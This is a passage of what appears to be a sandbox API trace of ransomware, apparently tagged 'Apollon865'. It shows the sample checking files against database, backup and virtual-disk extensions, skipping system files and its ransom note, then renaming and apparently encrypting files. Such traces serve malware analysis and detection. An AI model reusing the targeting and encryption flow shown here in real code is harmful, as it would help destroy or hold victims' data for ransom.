	[0085.357] lstrcmpiW (lpString1="idator.Lck", lpString2="dadiagrams") returned 1
	[0085.358] lstrlenW (lpString="daschema") returned 8
	[0085.358] lstrcmpiW (lpString1="ator.Lck", lpString2="daschema") returned -1
	[0085.358] lstrlenW (lpString="db-journal") returned 10
	[0085.358] lstrcmpiW (lpString1="idator.Lck", lpString2="db-journal") returned 1
	[0085.358] lstrlenW (lpString="db-shm") returned 6
	[0085.358] lstrcmpiW (lpString1="or.Lck", lpString2="db-shm") returned 1
	[0085.358] lstrlenW (lpString="db-wal") returned 6
	[0085.358] lstrcmpiW (lpString1="or.Lck", lpString2="db-wal") returned 1
	[0085.358] lstrlenW (lpString="dbc") returned 3
	[0085.358] lstrcmpiW (lpString1="Lck", lpString2="dbc") returned 1
	[0085.358] lstrlenW (lpString="dbs") returned 3
	[0085.358] lstrcmpiW (lpString1="Lck", lpString2="dbs") returned 1
	[0085.358] lstrlenW (lpString="dbt") returned 3
	[0085.358] lstrcmpiW (lpString1="Lck", lpString2="dbt") returned 1
	[0085.358] lstrlenW (lpString="dbv") returned 3
	[0085.358] lstrcmpiW (lpString1="Lck", lpString2="dbv") returned 1
	[0085.358] lstrlenW (lpString="dbx") returned 3
	[0085.358] lstrcmpiW (lpString1="Lck", lpString2="dbx") returned 1
	[0085.358] lstrlenW (lpString="dcb") returned 3
	[0085.358] lstrcmpiW (lpString1="Lck", lpString2="dcb") returned 1
	[0085.358] lstrlenW (lpString="dct") returned 3
	[0085.358] lstrcmpiW (lpString1="Lck", lpString2="dct") returned 1
	[0085.358] lstrlenW (lpString="dcx") returned 3
	[0085.358] lstrcmpiW (lpString1="Lck", lpString2="dcx") returned 1
	[0085.358] lstrlenW (lpString="ddl") returned 3
	[0085.358] lstrcmpiW (lpString1="Lck", lpString2="ddl") returned 1
	[0085.358] lstrlenW (lpString="dlis") returned 4
	[0085.358] lstrcmpiW (lpString1=".Lck", lpString2="dlis") returned -1
	[0085.358] lstrlenW (lpString="dp1") returned 3
	[0085.358] lstrcmpiW (lpString1="Lck", lpString2="dp1") returned 1
	[0085.358] lstrlenW (lpString="dqy") returned 3
	[0085.358] lstrcmpiW (lpString1="Lck", lpString2="dqy") returned 1
	[0085.358] lstrlenW (lpString="dsk") returned 3
	[0085.358] lstrcmpiW (lpString1="Lck", lpString2="dsk") returned 1
	[0085.358] lstrlenW (lpString="dsn") returned 3
	[0085.358] lstrcmpiW (lpString1="Lck", lpString2="dsn") returned 1
	[0085.358] lstrlenW (lpString="dtsx") returned 4
	[0085.359] lstrcmpiW (lpString1=".Lck", lpString2="dtsx") returned -1
	[0085.359] lstrlenW (lpString="dxl") returned 3
	[0085.359] lstrcmpiW (lpString1="Lck", lpString2="dxl") returned 1
	[0085.359] lstrlenW (lpString="eco") returned 3
	[0085.359] lstrcmpiW (lpString1="Lck", lpString2="eco") returned 1
	[0085.359] lstrlenW (lpString="ecx") returned 3
	[0085.359] lstrcmpiW (lpString1="Lck", lpString2="ecx") returned 1
	[0085.359] lstrlenW (lpString="edb") returned 3
	[0085.359] lstrcmpiW (lpString1="Lck", lpString2="edb") returned 1
	[0085.359] lstrlenW (lpString="epim") returned 4
	[0085.359] lstrcmpiW (lpString1=".Lck", lpString2="epim") returned -1
	[0085.359] lstrlenW (lpString="fcd") returned 3
	[0085.359] lstrcmpiW (lpString1="Lck", lpString2="fcd") returned 1
	[0085.359] lstrlenW (lpString="fdb") returned 3
	[0085.359] lstrcmpiW (lpString1="Lck", lpString2="fdb") returned 1
	[0085.359] lstrlenW (lpString="fic") returned 3
	[0085.359] lstrcmpiW (lpString1="Lck", lpString2="fic") returned 1
	[0085.359] lstrlenW (lpString="flexolibrary") returned 12
	[0085.359] lstrcmpiW (lpString1="alidator.Lck", lpString2="flexolibrary") returned -1
	[0085.359] lstrlenW (lpString="fm5") returned 3
	[0085.359] lstrcmpiW (lpString1="Lck", lpString2="fm5") returned 1
	[0085.359] lstrlenW (lpString="fmp") returned 3
	[0085.359] lstrcmpiW (lpString1="Lck", lpString2="fmp") returned 1
	[0085.359] lstrlenW (lpString="fmp12") returned 5
	[0085.359] lstrcmpiW (lpString1="r.Lck", lpString2="fmp12") returned 1
	[0085.359] lstrlenW (lpString="fmpsl") returned 5
	[0085.359] lstrcmpiW (lpString1="r.Lck", lpString2="fmpsl") returned 1
	[0085.359] lstrlenW (lpString="fol") returned 3
	[0085.359] lstrcmpiW (lpString1="Lck", lpString2="fol") returned 1
	[0085.359] lstrlenW (lpString="fp3") returned 3
	[0085.359] lstrcmpiW (lpString1="Lck", lpString2="fp3") returned 1
	[0085.359] lstrlenW (lpString="fp4") returned 3
	[0085.359] lstrcmpiW (lpString1="Lck", lpString2="fp4") returned 1
	[0085.359] lstrlenW (lpString="fp5") returned 3
	[0085.359] lstrcmpiW (lpString1="Lck", lpString2="fp5") returned 1
	[0085.359] lstrlenW (lpString="fp7") returned 3
	[0085.359] lstrcmpiW (lpString1="Lck", lpString2="fp7") returned 1
	[0085.359] lstrlenW (lpString="fpt") returned 3
	[0085.360] lstrcmpiW (lpString1="Lck", lpString2="fpt") returned 1
	[0085.360] lstrlenW (lpString="frm") returned 3
	[0085.360] lstrcmpiW (lpString1="Lck", lpString2="frm") returned 1
	[0085.360] lstrlenW (lpString="gdb") returned 3
	[0085.360] lstrcmpiW (lpString1="Lck", lpString2="gdb") returned 1
	[0085.360] lstrlenW (lpString="gdb") returned 3
	[0085.360] lstrcmpiW (lpString1="Lck", lpString2="gdb") returned 1
	[0085.360] lstrlenW (lpString="grdb") returned 4
	[0085.360] lstrcmpiW (lpString1=".Lck", lpString2="grdb") returned -1
	[0085.360] lstrlenW (lpString="gwi") returned 3
	[0085.360] lstrcmpiW (lpString1="Lck", lpString2="gwi") returned 1
	[0085.360] lstrlenW (lpString="hdb") returned 3
	[0085.360] lstrcmpiW (lpString1="Lck", lpString2="hdb") returned 1
	[0085.360] lstrlenW (lpString="his") returned 3
	[0085.360] lstrcmpiW (lpString1="Lck", lpString2="his") returned 1
	[0085.360] lstrlenW (lpString="ib") returned 2
	[0085.360] lstrcmpiW (lpString1="ck", lpString2="ib") returned -1
	[0085.360] lstrlenW (lpString="idb") returned 3
	[0085.360] lstrcmpiW (lpString1="Lck", lpString2="idb") returned 1
	[0085.360] lstrlenW (lpString="ihx") returned 3
	[0085.360] lstrcmpiW (lpString1="Lck", lpString2="ihx") returned 1
	[0085.360] lstrlenW (lpString="itdb") returned 4
	[0085.360] lstrcmpiW (lpString1=".Lck", lpString2="itdb") returned -1
	[0085.360] lstrlenW (lpString="itw") returned 3
	[0085.360] lstrcmpiW (lpString1="Lck", lpString2="itw") returned 1
	[0085.360] lstrlenW (lpString="jet") returned 3
	[0085.360] lstrcmpiW (lpString1="Lck", lpString2="jet") returned 1
	[0085.360] lstrlenW (lpString="jtx") returned 3
	[0085.360] lstrcmpiW (lpString1="Lck", lpString2="jtx") returned 1
	[0085.360] lstrlenW (lpString="kdb") returned 3
	[0085.360] lstrcmpiW (lpString1="Lck", lpString2="kdb") returned 1
	[0085.360] lstrlenW (lpString="kexi") returned 4
	[0085.360] lstrcmpiW (lpString1=".Lck", lpString2="kexi") returned -1
	[0085.360] lstrlenW (lpString="kexic") returned 5
	[0085.360] lstrcmpiW (lpString1="r.Lck", lpString2="kexic") returned 1
	[0085.360] lstrlenW (lpString="kexis") returned 5
	[0085.360] lstrcmpiW (lpString1="r.Lck", lpString2="kexis") returned 1
	[0085.360] lstrlenW (lpString="lgc") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="lgc") returned -1
	[0085.361] lstrlenW (lpString="lwx") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="lwx") returned -1
	[0085.361] lstrlenW (lpString="maf") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="maf") returned -1
	[0085.361] lstrlenW (lpString="maq") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="maq") returned -1
	[0085.361] lstrlenW (lpString="mar") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="mar") returned -1
	[0085.361] lstrlenW (lpString="marshal") returned 7
	[0085.361] lstrcmpiW (lpString1="tor.Lck", lpString2="marshal") returned 1
	[0085.361] lstrlenW (lpString="mas") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="mas") returned -1
	[0085.361] lstrlenW (lpString="mav") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="mav") returned -1
	[0085.361] lstrlenW (lpString="maw") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="maw") returned -1
	[0085.361] lstrlenW (lpString="mdbhtml") returned 7
	[0085.361] lstrcmpiW (lpString1="tor.Lck", lpString2="mdbhtml") returned 1
	[0085.361] lstrlenW (lpString="mdn") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="mdn") returned -1
	[0085.361] lstrlenW (lpString="mdt") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="mdt") returned -1
	[0085.361] lstrlenW (lpString="mfd") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="mfd") returned -1
	[0085.361] lstrlenW (lpString="mpd") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="mpd") returned -1
	[0085.361] lstrlenW (lpString="mrg") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="mrg") returned -1
	[0085.361] lstrlenW (lpString="mud") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="mud") returned -1
	[0085.361] lstrlenW (lpString="mwb") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="mwb") returned -1
	[0085.361] lstrlenW (lpString="myd") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="myd") returned -1
	[0085.361] lstrlenW (lpString="ndf") returned 3
	[0085.361] lstrcmpiW (lpString1="Lck", lpString2="ndf") returned -1
	[0085.362] lstrlenW (lpString="nnt") returned 3
	[0085.362] lstrcmpiW (lpString1="Lck", lpString2="nnt") returned -1
	[0085.362] lstrlenW (lpString="nrmlib") returned 6
	[0085.362] lstrcmpiW (lpString1="or.Lck", lpString2="nrmlib") returned 1
	[0085.362] lstrlenW (lpString="ns2") returned 3
	[0085.362] lstrcmpiW (lpString1="Lck", lpString2="ns2") returned -1
	[0085.362] lstrlenW (lpString="ns3") returned 3
	[0085.362] lstrcmpiW (lpString1="Lck", lpString2="ns3") returned -1
	[0085.362] lstrlenW (lpString="ns4") returned 3
	[0085.362] lstrcmpiW (lpString1="Lck", lpString2="ns4") returned -1
	[0085.362] lstrlenW (lpString="nsf") returned 3
	[0085.362] lstrcmpiW (lpString1="Lck", lpString2="nsf") returned -1
	[0085.362] lstrlenW (lpString="nv") returned 2
	[0085.362] lstrcmpiW (lpString1="ck", lpString2="nv") returned -1
	[0085.362] lstrlenW (lpString="nv2") returned 3
	[0085.362] lstrcmpiW (lpString1="Lck", lpString2="nv2") returned -1
	[0085.362] lstrlenW (lpString="nwdb") returned 4
	[0085.362] lstrcmpiW (lpString1=".Lck", lpString2="nwdb") returned -1
	[0085.362] lstrlenW (lpString="nyf") returned 3
	[0085.362] lstrcmpiW (lpString1="Lck", lpString2="nyf") returned -1
	[0085.362] lstrlenW (lpString="odb") returned 3
	[0085.362] lstrcmpiW (lpString1="Lck", lpString2="odb") returned -1
	[0085.362] lstrlenW (lpString="odb") returned 3
	[0085.362] lstrcmpiW (lpString1="Lck", lpString2="odb") returned -1
	[0085.362] lstrlenW (lpString="oqy") returned 3
	[0085.362] lstrcmpiW (lpString1="Lck", lpString2="oqy") returned -1
	[0085.362] lstrlenW (lpString="ora") returned 3
	[0085.362] lstrcmpiW (lpString1="Lck", lpString2="ora") returned -1
	[0085.362] lstrlenW (lpString="orx") returned 3
	[0085.362] lstrcmpiW (lpString1="Lck", lpString2="orx") returned -1
	[0085.362] lstrlenW (lpString="owc") returned 3
	[0085.362] lstrcmpiW (lpString1="Lck", lpString2="owc") returned -1
	[0085.362] lstrlenW (lpString="p96") returned 3
	[0085.362] lstrcmpiW (lpString1="Lck", lpString2="p96") returned -1
	[0085.362] lstrlenW (lpString="p97") returned 3
	[0085.362] lstrcmpiW (lpString1="Lck", lpString2="p97") returned -1
	[0085.362] lstrlenW (lpString="pan") returned 3
	[0085.363] lstrcmpiW (lpString1="Lck", lpString2="pan") returned -1
	[0085.363] lstrlenW (lpString="pdb") returned 3
	[0085.363] lstrcmpiW (lpString1="Lck", lpString2="pdb") returned -1
	[0085.363] lstrlenW (lpString="pdm") returned 3
	[0085.363] lstrcmpiW (lpString1="Lck", lpString2="pdm") returned -1
	[0085.363] lstrlenW (lpString="pnz") returned 3
	[0085.363] lstrcmpiW (lpString1="Lck", lpString2="pnz") returned -1
	[0085.363] lstrlenW (lpString="qry") returned 3
	[0085.363] lstrcmpiW (lpString1="Lck", lpString2="qry") returned -1
	[0085.363] lstrlenW (lpString="qvd") returned 3
	[0085.363] lstrcmpiW (lpString1="Lck", lpString2="qvd") returned -1
	[0085.363] lstrlenW (lpString="rbf") returned 3
	[0085.363] lstrcmpiW (lpString1="Lck", lpString2="rbf") returned -1
	[0085.363] lstrlenW (lpString="rctd") returned 4
	[0085.363] lstrcmpiW (lpString1=".Lck", lpString2="rctd") returned -1
	[0085.363] lstrlenW (lpString="rod") returned 3
	[0085.363] lstrcmpiW (lpString1="Lck", lpString2="rod") returned -1
	[0085.363] lstrlenW (lpString="rodx") returned 4
	[0085.363] lstrcmpiW (lpString1=".Lck", lpString2="rodx") returned -1
	[0085.363] lstrlenW (lpString="rpd") returned 3
	[0085.363] lstrcmpiW (lpString1="Lck", lpString2="rpd") returned -1
	[0085.363] lstrlenW (lpString="rsd") returned 3
	[0085.363] lstrcmpiW (lpString1="Lck", lpString2="rsd") returned -1
	[0085.363] lstrlenW (lpString="sas7bdat") returned 8
	[0085.363] lstrcmpiW (lpString1="ator.Lck", lpString2="sas7bdat") returned -1
	[0085.363] lstrlenW (lpString="sbf") returned 3
	[0085.363] lstrcmpiW (lpString1="Lck", lpString2="sbf") returned -1
	[0085.363] lstrlenW (lpString="scx") returned 3
	[0085.363] lstrcmpiW (lpString1="Lck", lpString2="scx") returned -1
	[0085.363] lstrlenW (lpString="sdb") returned 3
	[0085.363] lstrcmpiW (lpString1="Lck", lpString2="sdb") returned -1
	[0085.363] lstrlenW (lpString="sdc") returned 3
	[0085.363] lstrcmpiW (lpString1="Lck", lpString2="sdc") returned -1
	[0085.363] lstrlenW (lpString="sdf") returned 3
	[0085.363] lstrcmpiW (lpString1="Lck", lpString2="sdf") returned -1
	[0085.363] lstrlenW (lpString="sis") returned 3
	[0085.363] lstrcmpiW (lpString1="Lck", lpString2="sis") returned -1
	[0085.363] lstrlenW (lpString="spq") returned 3
	[0085.364] lstrcmpiW (lpString1="Lck", lpString2="spq") returned -1
	[0085.364] lstrlenW (lpString="te") returned 2
	[0085.364] lstrcmpiW (lpString1="ck", lpString2="te") returned -1
	[0085.364] lstrlenW (lpString="teacher") returned 7
	[0085.364] lstrcmpiW (lpString1="tor.Lck", lpString2="teacher") returned 1
	[0085.364] lstrlenW (lpString="tmd") returned 3
	[0085.364] lstrcmpiW (lpString1="Lck", lpString2="tmd") returned -1
	[0085.364] lstrlenW (lpString="tps") returned 3
	[0085.364] lstrcmpiW (lpString1="Lck", lpString2="tps") returned -1
	[0085.364] lstrlenW (lpString="trc") returned 3
	[0085.364] lstrcmpiW (lpString1="Lck", lpString2="trc") returned -1
	[0085.364] lstrlenW (lpString="trc") returned 3
	[0085.364] lstrcmpiW (lpString1="Lck", lpString2="trc") returned -1
	[0085.364] lstrlenW (lpString="trm") returned 3
	[0085.364] lstrcmpiW (lpString1="Lck", lpString2="trm") returned -1
	[0085.364] lstrlenW (lpString="udb") returned 3
	[0085.364] lstrcmpiW (lpString1="Lck", lpString2="udb") returned -1
	[0085.364] lstrlenW (lpString="udl") returned 3
	[0085.364] lstrcmpiW (lpString1="Lck", lpString2="udl") returned -1
	[0085.364] lstrlenW (lpString="usr") returned 3
	[0085.364] lstrcmpiW (lpString1="Lck", lpString2="usr") returned -1
	[0085.364] lstrlenW (lpString="v12") returned 3
	[0085.364] lstrcmpiW (lpString1="Lck", lpString2="v12") returned -1
	[0085.364] lstrlenW (lpString="vis") returned 3
	[0085.364] lstrcmpiW (lpString1="Lck", lpString2="vis") returned -1
	[0085.364] lstrlenW (lpString="vpd") returned 3
	[0085.364] lstrcmpiW (lpString1="Lck", lpString2="vpd") returned -1
	[0085.364] lstrlenW (lpString="vvv") returned 3
	[0085.364] lstrcmpiW (lpString1="Lck", lpString2="vvv") returned -1
	[0085.364] lstrlenW (lpString="wdb") returned 3
	[0085.365] lstrcmpiW (lpString1="Lck", lpString2="wdb") returned -1
	[0085.365] lstrlenW (lpString="wmdb") returned 4
	[0085.365] lstrcmpiW (lpString1=".Lck", lpString2="wmdb") returned -1
	[0085.365] lstrlenW (lpString="wrk") returned 3
	[0085.365] lstrcmpiW (lpString1="Lck", lpString2="wrk") returned -1
	[0085.365] lstrlenW (lpString="xdb") returned 3
	[0085.365] lstrcmpiW (lpString1="Lck", lpString2="xdb") returned -1
	[0085.365] lstrlenW (lpString="xld") returned 3
	[0085.365] lstrcmpiW (lpString1="Lck", lpString2="xld") returned -1
	[0085.365] lstrlenW (lpString="xmlff") returned 5
	[0085.365] lstrcmpiW (lpString1="r.Lck", lpString2="xmlff") returned -1
	[0085.365] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck.Apollon865") returned 87
	[0085.365] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.lck"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.lck.apollon865"), dwFlags=0x1) returned 1
	[0085.366] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.lck.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0085.367] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=4) returned 1
	[0085.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0085.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0085.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0085.367] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0085.368] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0085.368] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.368] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x310, lpName=0x0) returned 0x15c
	[0085.370] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x310) returned 0x100000
	[0085.371] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0085.371] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0085.371] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0085.371] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0085.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0085.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0085.371] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0085.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0085.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0085.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0085.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0085.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0085.372] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0085.372] CloseHandle (hObject=0x15c) returned 1
	[0085.372] CloseHandle (hObject=0x9c) returned 1
	[0085.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0085.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0085.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0085.372] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="HELP{9~1.H1Q")) returned 1
	[0085.372] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.372] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="Apollon865.txt.exe") returned 1
	[0085.372] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2=".") returned 1
	[0085.372] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="..") returned 1
	[0085.372] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="windows") returned -1
	[0085.373] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="bootmgr") returned 1
	[0085.373] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="temp") returned -1
	[0085.373] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="pagefile.sys") returned -1
	[0085.373] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="boot") returned 1
	[0085.373] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="ids.txt") returned -1
	[0085.373] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="ntuser.dat") returned -1
	[0085.373] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="perflogs") returned -1
	[0085.373] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2="MSBuild") returned -1
	[0085.373] lstrlenW (lpString="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned 46
	[0085.373] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck") returned 76
	[0085.373] lstrcpyW (in: lpString1=0x119e67a, lpString2="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" | out: lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q"
	[0085.373] lstrlenW (lpString="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned 46
	[0085.373] lstrlenW (lpString="Apollon865") returned 10
	[0085.373] lstrcmpiW (lpString1="32D95}.H1Q", lpString2="Apollon865") returned -1
	[0085.373] lstrlenW (lpString=".dll") returned 4
	[0085.373] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2=".dll") returned 1
	[0085.373] lstrlenW (lpString=".lnk") returned 4
	[0085.373] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2=".lnk") returned 1
	[0085.373] lstrlenW (lpString=".ini") returned 4
	[0085.373] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2=".ini") returned 1
	[0085.373] lstrlenW (lpString=".sys") returned 4
	[0085.373] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2=".sys") returned 1
	[0085.373] lstrlenW (lpString="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned 46
	[0085.373] lstrlenW (lpString="bak") returned 3
	[0085.373] lstrcmpiW (lpString1="H1Q", lpString2="bak") returned 1
	[0085.373] lstrlenW (lpString="ba_") returned 3
	[0085.373] lstrcmpiW (lpString1="H1Q", lpString2="ba_") returned 1
	[0085.373] lstrlenW (lpString="dbb") returned 3
	[0085.373] lstrcmpiW (lpString1="H1Q", lpString2="dbb") returned 1
	[0085.373] lstrlenW (lpString="vmdk") returned 4
	[0085.373] lstrcmpiW (lpString1=".H1Q", lpString2="vmdk") returned -1
	[0085.373] lstrlenW (lpString="rar") returned 3
	[0085.373] lstrcmpiW (lpString1="H1Q", lpString2="rar") returned -1
	[0085.373] lstrlenW (lpString="zip") returned 3
	[0085.373] lstrcmpiW (lpString1="H1Q", lpString2="zip") returned -1
	[0085.373] lstrlenW (lpString="tgz") returned 3
	[0085.373] lstrcmpiW (lpString1="H1Q", lpString2="tgz") returned -1
	[0085.374] lstrlenW (lpString="vbox") returned 4
	[0085.374] lstrcmpiW (lpString1=".H1Q", lpString2="vbox") returned -1
	[0085.374] lstrlenW (lpString="vdi") returned 3
	[0085.374] lstrcmpiW (lpString1="H1Q", lpString2="vdi") returned -1
	[0085.374] lstrlenW (lpString="vhd") returned 3
	[0085.374] lstrcmpiW (lpString1="H1Q", lpString2="vhd") returned -1
	[0085.374] lstrlenW (lpString="vhdx") returned 4
	[0085.374] lstrcmpiW (lpString1=".H1Q", lpString2="vhdx") returned -1
	[0085.374] lstrlenW (lpString="avhd") returned 4
	[0085.374] lstrcmpiW (lpString1=".H1Q", lpString2="avhd") returned -1
	[0085.374] lstrlenW (lpString="db") returned 2
	[0085.374] lstrcmpiW (lpString1="1Q", lpString2="db") returned -1
	[0085.374] lstrlenW (lpString="db2") returned 3
	[0085.374] lstrcmpiW (lpString1="H1Q", lpString2="db2") returned 1
	[0085.374] lstrlenW (lpString="db3") returned 3
	[0085.374] lstrcmpiW (lpString1="H1Q", lpString2="db3") returned 1
	[0085.374] lstrlenW (lpString="dbf") returned 3
	[0085.374] lstrcmpiW (lpString1="H1Q", lpString2="dbf") returned 1
	[0085.374] lstrlenW (lpString="mdf") returned 3
	[0085.374] lstrcmpiW (lpString1="H1Q", lpString2="mdf") returned -1
	[0085.374] lstrlenW (lpString="mdb") returned 3
	[0085.374] lstrcmpiW (lpString1="H1Q", lpString2="mdb") returned -1
	[0085.374] lstrlenW (lpString="sql") returned 3
	[0085.374] lstrcmpiW (lpString1="H1Q", lpString2="sql") returned -1
	[0085.374] lstrlenW (lpString="sqlite") returned 6
	[0085.374] lstrcmpiW (lpString1="5}.H1Q", lpString2="sqlite") returned -1
	[0085.374] lstrlenW (lpString="sqlite3") returned 7
	[0085.374] lstrcmpiW (lpString1="95}.H1Q", lpString2="sqlite3") returned -1
	[0085.374] lstrlenW (lpString="sqlitedb") returned 8
	[0085.374] lstrcmpiW (lpString1="D95}.H1Q", lpString2="sqlitedb") returned -1
	[0085.374] lstrlenW (lpString="xml") returned 3
	[0085.374] lstrcmpiW (lpString1="H1Q", lpString2="xml") returned -1
	[0085.374] lstrlenW (lpString="$er") returned 3
